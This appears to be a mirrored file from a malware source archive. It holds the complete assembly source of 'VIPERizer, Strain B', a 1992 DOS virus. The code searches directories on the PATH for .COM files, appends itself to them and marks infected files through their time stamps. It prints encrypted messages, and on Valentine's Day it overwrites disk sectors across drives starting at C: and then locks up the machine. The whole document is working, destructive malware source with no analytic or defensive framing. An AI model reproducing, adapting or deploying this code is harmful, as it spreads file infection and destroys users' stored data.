mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
406 lines
17 KiB
NASM
406 lines
17 KiB
NASM
;
|
||
; VIPERizer, Strain B
|
||
; Copyright (c) 1992, Stingray/VIPER
|
||
; This is a Viral Inclined Programming Experts Ring Programming Team Production
|
||
;
|
||
; VIPER are: Stingray, Venom, and Guido Sanchez
|
||
;
|
||
|
||
MOV_CX MACRO X ; Here is just a simple "mov cx,xxxx" macro.
|
||
DB 0B9H
|
||
DW X
|
||
ENDM
|
||
|
||
CODE SEGMENT
|
||
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
|
||
ORG $+0100H
|
||
|
||
VCODE: JMP virus
|
||
|
||
NOP ; just a dud for the 'infected' file.
|
||
|
||
v_start equ $
|
||
|
||
|
||
virus: PUSH CX
|
||
mov ax,0ff0fh ; Thanks to RABID... Change Mem Marker
|
||
int 21h
|
||
cmp ax,101h ; Is VirexPC/FluShit in memory?
|
||
jne more_virus ; Nope.
|
||
jmp quit ; FUCK!!!!!
|
||
more_virus:
|
||
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
|
||
; The 2nd and 3rd bytes get modified.
|
||
CLD ;Pointers will be auto INcremented
|
||
MOV SI,DX ;Access data as offset from SI
|
||
ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
|
||
MOV DI,OFFSET 100H ;`cause all .COM files start at 100H
|
||
mov cx,3
|
||
REPZ MOVSB ;Restore original first 3 bytes of .COM
|
||
MOV SI,DX ;Keep SI pointing to the data area
|
||
|
||
MOV AH,30H
|
||
INT 21H
|
||
nop
|
||
CMP AL,0 ;0 means it's version 1.X
|
||
JNZ dos_ok ;For version 2.0 or greater
|
||
JMP quit ;Don't try to infect version 1.X
|
||
dos_ok:
|
||
mov ah,2ch ; Get Time
|
||
int 21h ; Do it.
|
||
xor bx,bx ; VIPERize bx, for later use.
|
||
cmp dl,4 ; hund's of seconds 4?
|
||
jle print_message ; If 4 or less, print a message.
|
||
; This serves as a random 1 in 20
|
||
; chance of the message printing
|
||
jmp short get_date ; No? What date is it...?
|
||
print_message:
|
||
mov dl, byte ptr [si+msg+bx] ; Get a byte of our message...
|
||
or dl,dl ; is it 0? (end of message)
|
||
jz get_date ; Get the date if it is...
|
||
sub dl,75 ; Unencrypt message
|
||
mov ah,2 ; Prepare to print one letter
|
||
int 21h ; do it!
|
||
inc bx ; point to next character.
|
||
jmp short print_message ; Do it again.
|
||
get_date:
|
||
mov ah,2ah ; What day is it?
|
||
int 21h ; Find out.
|
||
cmp dh,2 ; Is it february?
|
||
jne resume ; No? Oh well.
|
||
cmp dl,14 ; Is it valentines day?
|
||
jne resume ; No? Damn.
|
||
xor bx,bx ; VIPERize bx
|
||
cool:
|
||
mov dl,byte ptr [si+msg2+bx] ; This is pretty much the
|
||
or dl,dl ; same as the above 'print'
|
||
jz no_mas ; function. except I didn't
|
||
sub dl,75 ; make it a procedure.
|
||
mov ah,2
|
||
int 21h
|
||
inc bx
|
||
jmp short cool
|
||
no_mas:
|
||
mov al,2 ; Start with drive C:
|
||
phri:
|
||
mov cx,255 ; Nuke a few sectors
|
||
mov dx,1 ; Beginning with sector 1!!!
|
||
int 26h ; VIPERize them!!!! Rah!!!
|
||
jc error ; Uh oh. Problem.
|
||
add sp,2 ; Worked great. Clear the stack...
|
||
error:
|
||
inc al ; Get another drive!
|
||
cmp al,200 ; Have we fried 200 drives?
|
||
je done_phrying ; Yep.
|
||
jmp short phri ; Nope.
|
||
done_phrying:
|
||
cli ; Disable Interrupts
|
||
hlt ; Lock up computer.
|
||
resume:
|
||
PUSH ES
|
||
MOV AH,2FH
|
||
INT 21H
|
||
nop
|
||
MOV [SI+old_dta],BX
|
||
MOV [SI+old_dts],ES ;Save the DTA address
|
||
POP ES
|
||
MOV DX,dta ;Offset of new DTA in virus data area
|
||
nop
|
||
ADD DX,SI ;Compute DTA address
|
||
MOV AH,1AH
|
||
INT 21H ;Set new DTA to inside our own code
|
||
nop
|
||
PUSH ES
|
||
PUSH SI
|
||
MOV ES,DS:2CH
|
||
MOV DI,0 ;ES:DI points to environment
|
||
find_path:
|
||
POP SI
|
||
PUSH SI ;Get SI back
|
||
ADD SI,env_str ;Point to "PATH=" string in data area
|
||
LODSB
|
||
nop
|
||
MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
|
||
REPNZ SCASB ;Search for first character
|
||
MOV CX,4
|
||
check_next_4:
|
||
LODSB
|
||
SCASB
|
||
JNZ find_path ;If not all there, abort & start over
|
||
nop
|
||
LOOP check_next_4 ;Loop to check the next character
|
||
POP SI
|
||
POP ES
|
||
nop
|
||
MOV [SI+path_ad],DI ;Save the address of the PATH
|
||
MOV DI,SI
|
||
ADD DI,wrk_spc ;File name workspace
|
||
nop
|
||
MOV BX,SI ;Save a copy of SI
|
||
ADD SI,wrk_spc ;Point SI to workspace
|
||
MOV DI,SI ;Point DI to workspace
|
||
JMP SHORT slash_ok
|
||
set_subdir:
|
||
CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
|
||
JNZ found_subdir ;If not, there are more subdirectories
|
||
JMP all_done ;Else, we're all done
|
||
found_subdir:
|
||
PUSH DS
|
||
PUSH SI
|
||
MOV DS,ES:2CH ;DS points to environment segment
|
||
nop
|
||
MOV DI,SI
|
||
MOV SI,ES:[DI+path_ad] ;SI = PATH address
|
||
ADD DI,wrk_spc ;DI points to file name workspace
|
||
move_subdir:
|
||
LODSB ;Get character
|
||
CMP AL,';' ;Is it a ';' delimiter?
|
||
JZ moved_one ;Yes, found another subdirectory
|
||
nop
|
||
CMP AL,0 ;End of PATH string?
|
||
JZ moved_last_one ;Yes
|
||
STOSB ;Save PATH marker into [DI]
|
||
JMP SHORT move_subdir
|
||
moved_last_one:
|
||
xor si,si
|
||
moved_one:
|
||
POP BX ;Pointer to virus data area
|
||
POP DS ;Restore DS
|
||
MOV [BX+path_ad],SI ;Address of next subdirectory
|
||
NOP
|
||
CMP CH,'\' ;Ends with "\"?
|
||
nop
|
||
JZ slash_ok ;If yes
|
||
MOV AL,'\' ;Add one, if not
|
||
STOSB
|
||
slash_ok:
|
||
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
|
||
MOV SI,BX ;Restore SI
|
||
ADD SI,f_spec ;Point to "*.COM"
|
||
MOV CX,6
|
||
nop
|
||
REPZ MOVSB ;Move "*.COM",0 to workspace
|
||
MOV SI,BX
|
||
MOV AH,4EH
|
||
MOV DX,wrk_spc
|
||
ADD DX,SI ;DX points to "*.COM" in workspace
|
||
MOV CX,3 ;Attributes of Read Only or Hidden OK
|
||
INT 21H
|
||
nop
|
||
JMP SHORT find_first
|
||
find_next:
|
||
MOV AH,4FH
|
||
INT 21H
|
||
nop
|
||
find_first:
|
||
JNB found_file ;Jump if we found it
|
||
JMP SHORT set_subdir ;Otherwise, get another subdirectory
|
||
found_file:
|
||
MOV AX,[SI+dta_tim] ;Get time from DTA
|
||
AND AL,1FH ;Mask to remove all but seconds
|
||
CMP AL,1FH ;62 seconds -> already infected
|
||
JZ find_next ;If so, go find another file
|
||
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
|
||
nop
|
||
JA find_next ;If too long, find another one
|
||
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
|
||
JB find_next ;Then go find another one
|
||
MOV DI,[SI+nam_ptr] ;DI points to file name
|
||
PUSH SI ;Save SI
|
||
ADD SI,dta_nam ;Point SI to file name
|
||
more_chars:
|
||
LODSB
|
||
STOSB
|
||
CMP AL,0
|
||
JNZ more_chars ;Move characters until we find a 00
|
||
POP SI
|
||
MOV AX,OFFSET 4300H
|
||
nop
|
||
MOV DX,wrk_spc ;Point to \path\name in workspace
|
||
ADD DX,SI
|
||
INT 21H
|
||
nop
|
||
MOV [SI+old_att],CX ;Save the old attributes
|
||
MOV AX,OFFSET 4301H ;Set attributes
|
||
AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird)
|
||
nop
|
||
MOV DX,wrk_spc ;Offset of \path\name in workspace
|
||
ADD DX,SI ;Point to \path\name
|
||
INT 21H
|
||
nop
|
||
MOV AX,OFFSET 3D02H ;Read/Write
|
||
nop
|
||
MOV DX,wrk_spc ;Offset to \path\name in workspace
|
||
ADD DX,SI ;Point to \path\name
|
||
INT 21H
|
||
nop
|
||
JNB opened_ok ;If file was opened OK
|
||
JMP fix_attr ;If it failed, restore the attributes
|
||
|
||
opened_ok:
|
||
MOV BX,AX
|
||
MOV AX,OFFSET 5700H
|
||
INT 21H
|
||
nop
|
||
MOV [SI+old_tim],CX ;Save file time
|
||
MOV [SI+ol_date],DX ;Save the date
|
||
MOV AH,3FH
|
||
nop
|
||
MOV CX,3
|
||
MOV DX,first_3
|
||
ADD DX,SI
|
||
INT 21H ;Save first 3 bytes into the data area
|
||
nop
|
||
JB fix_time_stamp ;Quit, if read failed
|
||
CMP AX,3 ;Were we able to read all 3 bytes?
|
||
JNZ fix_time_stamp ;Quit, if not
|
||
MOV AX,OFFSET 4202H
|
||
xor cx,cx
|
||
xor dx,dx
|
||
INT 21H
|
||
nop
|
||
JB fix_time_stamp ;Quit, if it didn't work
|
||
MOV CX,AX ;DX:AX (long int) = file size
|
||
SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here)
|
||
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
|
||
nop
|
||
ADD CX,OFFSET c_len_y
|
||
MOV DI,SI ;Point DI to virus data area
|
||
SUB DI,OFFSET c_len_x
|
||
;Point DI to reference vir_dat, at start of pgm
|
||
MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm
|
||
MOV AH,40H
|
||
MOV_CX virlen ;Length of virus, in bytes
|
||
nop
|
||
MOV DX,SI
|
||
SUB DX,OFFSET codelen ;Length of virus code, gives starting
|
||
; address of virus code in memory
|
||
INT 21H
|
||
nop
|
||
JB fix_time_stamp ;Jump if error
|
||
CMP AX,OFFSET virlen ;All bytes written?
|
||
JNZ fix_time_stamp ;Jump if error
|
||
MOV AX,OFFSET 4200H
|
||
xor cx,cx
|
||
xor dx,dx
|
||
INT 21H
|
||
nop
|
||
JB fix_time_stamp ;Jump if error
|
||
MOV AH,40H
|
||
MOV CX,3
|
||
nop
|
||
MOV DX,SI ;Virus data area
|
||
ADD DX,jmp_op ;Point to the reconstructed JMP
|
||
INT 21H
|
||
nop
|
||
fix_time_stamp:
|
||
MOV DX,[SI+ol_date] ;Old file date
|
||
nop
|
||
MOV CX,[SI+old_tim] ;Old file time
|
||
AND CX,OFFSET 0FFE0H
|
||
nop
|
||
OR CX,1FH ;Seconds = 31/30 min = 62 seconds
|
||
MOV AX,OFFSET 5701H
|
||
INT 21H
|
||
nop
|
||
MOV AH,3EH
|
||
INT 21H
|
||
nop
|
||
fix_attr:
|
||
MOV AX,OFFSET 4301H
|
||
MOV CX,[SI+old_att] ;Old Attributes
|
||
nop
|
||
MOV DX,wrk_spc
|
||
ADD DX,SI ;DX points to \path\name in workspace
|
||
INT 21H
|
||
nop
|
||
all_done:
|
||
PUSH DS
|
||
MOV AH,1AH
|
||
MOV DX,[SI+old_dta]
|
||
nop
|
||
MOV DS,[SI+old_dts]
|
||
INT 21H
|
||
nop
|
||
POP DS
|
||
nop
|
||
quit:
|
||
POP CX
|
||
XOR AX,AX
|
||
XOR BX,BX
|
||
xor cx,cx
|
||
XOR DX,DX
|
||
XOR SI,SI
|
||
MOV DI,OFFSET 0100H
|
||
PUSH DI
|
||
XOR DI,DI
|
||
RET 0FFFFH
|
||
vir_dat EQU $
|
||
olddta_ DW 0 ;Old DTA offset
|
||
olddts_ DW 0 ;Old DTA segment
|
||
oldtim_ DW 0 ;Old Time
|
||
oldate_ DW 0 ;Old date
|
||
oldatt_ DW 0 ;Old file attributes
|
||
first3_ EQU $
|
||
INT 20H
|
||
NOP
|
||
jmpop_ DB 0E9H ;Start of JMP instruction
|
||
jmpdsp_ DW 0 ;The displacement part
|
||
fspec_ DB '*.COM',0
|
||
pathad_ DW 0 ;Path address
|
||
namptr_ DW 0 ;Pointer to start of file name
|
||
envstr_ DB 'PATH=' ;Find this in the environment
|
||
wrkspc_ DB 40h dup (0)
|
||
dta_ DB 16h dup (0) ;Temporary DTA goes here
|
||
dtatim_ DW 0,0 ;Time stamp in DTA
|
||
dtalen_ DW 0,0 ;File length in the DTA
|
||
dtanam_ DB 0Dh dup (0) ;File name in the DTA
|
||
reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
|
||
|
||
; These messages are encrypted.
|
||
; msg = "Will you be my..."
|
||
; msg2 = "VIPERizer, Strain B"
|
||
; "(c) 1992, Stingray/VIPER"
|
||
; "Happy Valentines Day!"
|
||
|
||
_msg db 162,180,183,183,107,196,186,192,107,173,176,107,184,196,121,121
|
||
db 121,085,088
|
||
db 0
|
||
_msg2 db 161,148,155,144,157,180,197,176,189,119,107,158,191,189,172,180
|
||
db 185,107,141,085,088
|
||
db 115,174,116,107,124,132,132,125,119,107,158,191,180,185,178,189
|
||
db 172,196,122,161,148,155,144,157,085,088
|
||
db 147,172,187,187,196,107,161,172,183,176,185,191,180,185,176,190
|
||
db 107,143,172,196,108,085,088
|
||
db 0
|
||
|
||
lst_byt EQU $ ;All lines that assemble into code are
|
||
; above this one
|
||
|
||
virlen = lst_byt - v_start ;Length, in bytes, of the entire virus
|
||
codelen = vir_dat - v_start ;Length of virus code, only
|
||
c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code
|
||
c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP
|
||
old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset
|
||
old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment
|
||
old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp
|
||
ol_date = oldate_ - vir_dat ;Displacement to old file date stamp
|
||
old_att = oldatt_ - vir_dat ;Displacement to old attributes
|
||
first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM
|
||
jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode
|
||
jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP
|
||
f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string
|
||
path_ad = pathad_ - vir_dat ;Displacement to the path address
|
||
nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer
|
||
env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string
|
||
wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace
|
||
dta = dta_ - vir_dat ;Displacement to the temporary DTA
|
||
dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA
|
||
dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA
|
||
dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA
|
||
reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code
|
||
msg = _msg - vir_dat ; Disp. to 1st msg
|
||
msg2 = _msg2 - vir_dat ; Disp. to 2nd msg
|
||
CODE ENDS
|
||
END VCODE
|
||
|